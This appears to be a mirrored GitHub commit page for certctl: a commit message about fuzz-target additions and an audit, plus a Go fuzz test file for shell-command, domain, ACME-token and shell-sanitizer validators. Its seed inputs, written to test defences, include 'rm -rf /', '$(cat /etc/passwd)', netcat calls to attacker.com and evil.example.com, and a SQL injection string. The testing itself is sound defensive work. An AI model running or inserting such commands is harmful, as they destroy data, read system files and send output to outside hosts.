mirror of
https://github.com/shankar0123/certctl.git
synced 2026-06-07 23:11:32 +00:00
acfd984a11
Three deliverables shipped:
O.1 (M-004): t.Skip rationale audit — 65 sites, 0 orphans
O.2 (M-005): fuzz targets 9 -> 11 (+ParseNamedAPIKeys, +SanitizeForShell)
O.3 (M-006): FSM coverage tables (5 FSMs catalogued)
O.1 — t.Skip rationale audit:
Inventoried all 65 t.Skip sites in the repo (audit-time estimate
was 41; count grew via Bundle 0.7 keymem tests + Bundle M.Cloud
httptest skips). Every site carries a valid rationale —
none are orphan. Categories: OS-specific (~30), root-only (~5),
external-dep (Docker/PostgreSQL/browser/Vault/DigiCert ~15),
manual-test markers (Parts 23/24/55/56 — 4 from Bundle I),
-short mode (~6), state-dependent (~5). All class (a) per Bundle
O's classification. No edits required; the existing M-009 CI guard
catches new orphan skips going forward.
O.2 — Fuzz target additions:
internal/config/config_fuzz_test.go::FuzzParseNamedAPIKeys
Pins the CERTCTL_API_KEYS_NAMED env-var parser (dual-key
rotation, Bundle G / L-004). 16 seed inputs covering happy-path,
rotation pair, degenerate, whitespace-padded, wrong-case admin,
4-segment, adversarial chars in name, long inputs.
internal/validation/command_fuzz_test.go::FuzzSanitizeForShell
Appended to existing fuzz file. Asserts no panic + output begins+
ends with single-quote. 17 seed inputs covering plain, whitespace,
embedded quotes/backticks/dollars, newlines, NULs, shell-metachar
injection, unicode, 100x apostrophe stress, 10000x length stress.
Total fuzz-target count: 9 -> 11 (per grep verification)
O.3 — FSM coverage tables (NEW: tables/fsm-coverage.md):
Job: legal 92%, illegal 100% ✓ Existential gate
Certificate: legal 93%, illegal 100% ✓ Existential gate
Agent: legal 75%, illegal 100% △ slight Degraded gap
Notification: legal 86%, illegal 100% ✓
Health-check: legal 100% (recompute-on-tick model) ✓
4/5 FSMs meet the ≥80% legal + 100% illegal gate.
Agent's Degraded transitions are the lone gap; tracked as
M-006-extended.
Verification:
go vet ./internal/config/... ./internal/validation/... clean
go test -short -count=1 PASS
grep -rE 'func Fuzz[A-Z]' --include='*_test.go' internal/ | wc -l == 11
Audit deliverables:
gap-backlog.md: M-004 + M-005 + M-006 strikethroughs + Bundle O
closure-log entry covering all 3 sub-deliverables
closure-plan.md: Bundle O [x] closed
tables/fsm-coverage.md: NEW (5 FSMs catalogued)
CHANGELOG.md: [unreleased] Bundle O entry
110 lines
2.7 KiB
Go
110 lines
2.7 KiB
Go
package validation
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func FuzzValidateShellCommand(f *testing.F) {
|
|
f.Add("nginx -s reload")
|
|
f.Add("systemctl restart apache2")
|
|
f.Add("echo hello; rm -rf /")
|
|
f.Add("$(whoami)")
|
|
f.Add("")
|
|
f.Add("valid-command")
|
|
f.Add("/usr/bin/openssl")
|
|
f.Add("certctl-agent")
|
|
f.Add("; rm -rf /")
|
|
f.Add("| nc attacker.com 1234")
|
|
f.Add("`whoami`")
|
|
f.Add("$(cat /etc/passwd)")
|
|
f.Fuzz(func(t *testing.T, cmd string) {
|
|
// Should never panic, only return error for invalid input
|
|
_ = ValidateShellCommand(cmd)
|
|
})
|
|
}
|
|
|
|
func FuzzValidateDomainName(f *testing.F) {
|
|
f.Add("example.com")
|
|
f.Add("*.example.com")
|
|
f.Add("a.b.c.d.example.co.uk")
|
|
f.Add("")
|
|
f.Add("; rm -rf /")
|
|
f.Add("example.com; DROP TABLE certificates;")
|
|
f.Add("*.*.example.com")
|
|
f.Add("example..com")
|
|
f.Add("-example.com")
|
|
f.Add("example-.com")
|
|
f.Add("sub domain.com")
|
|
f.Add("@example.com")
|
|
f.Add("example.com/admin")
|
|
f.Add("//example.com")
|
|
f.Fuzz(func(t *testing.T, domain string) {
|
|
// Should never panic, only return error for invalid input
|
|
_ = ValidateDomainName(domain)
|
|
})
|
|
}
|
|
|
|
func FuzzValidateACMEToken(f *testing.F) {
|
|
f.Add("validtoken123")
|
|
f.Add("token-with-dash")
|
|
f.Add("token_with_underscore")
|
|
f.Add("")
|
|
f.Add("token;invalid")
|
|
f.Add("token|invalid")
|
|
f.Add("token$(whoami)")
|
|
f.Add("token\ninjection")
|
|
f.Add("token with spaces")
|
|
f.Fuzz(func(t *testing.T, token string) {
|
|
// Should never panic, only return error for invalid input
|
|
_ = ValidateACMEToken(token)
|
|
})
|
|
}
|
|
|
|
// FuzzSanitizeForShell pins SanitizeForShell's "no panic + output is
|
|
// shell-safe" invariant. The function wraps input in POSIX single-quotes
|
|
// with escapes for embedded `'`. Bundle O.2 adds this target so any
|
|
// adversarial unicode / NUL / control-byte / shell-metachar input is
|
|
// regression-tested against the wrap contract.
|
|
func FuzzSanitizeForShell(f *testing.F) {
|
|
seeds := []string{
|
|
"",
|
|
"plain",
|
|
"with space",
|
|
"with'apostrophe",
|
|
"with\"double-quote",
|
|
"with$dollar",
|
|
"with`backtick`",
|
|
"with\nnewline",
|
|
"with\ttab",
|
|
"with\x00nul",
|
|
"; rm -rf /",
|
|
"$(whoami)",
|
|
"`whoami`",
|
|
"|nc evil.example.com 1234",
|
|
"unicode: 你好世界",
|
|
strings.Repeat("'", 100),
|
|
strings.Repeat("a", 10000),
|
|
}
|
|
for _, s := range seeds {
|
|
f.Add(s)
|
|
}
|
|
f.Fuzz(func(t *testing.T, input string) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
t.Fatalf("panic on input %q: %v", input, r)
|
|
}
|
|
}()
|
|
out := SanitizeForShell(input)
|
|
// Invariants:
|
|
// 1. Output is non-empty (always at least the surrounding quotes)
|
|
// 2. Output starts and ends with a single quote
|
|
if len(out) < 2 {
|
|
t.Fatalf("output %q too short for input %q", out, input)
|
|
}
|
|
if out[0] != '\'' || out[len(out)-1] != '\'' {
|
|
t.Fatalf("output %q does not begin+end with single-quote for input %q", out, input)
|
|
}
|
|
})
|
|
}
|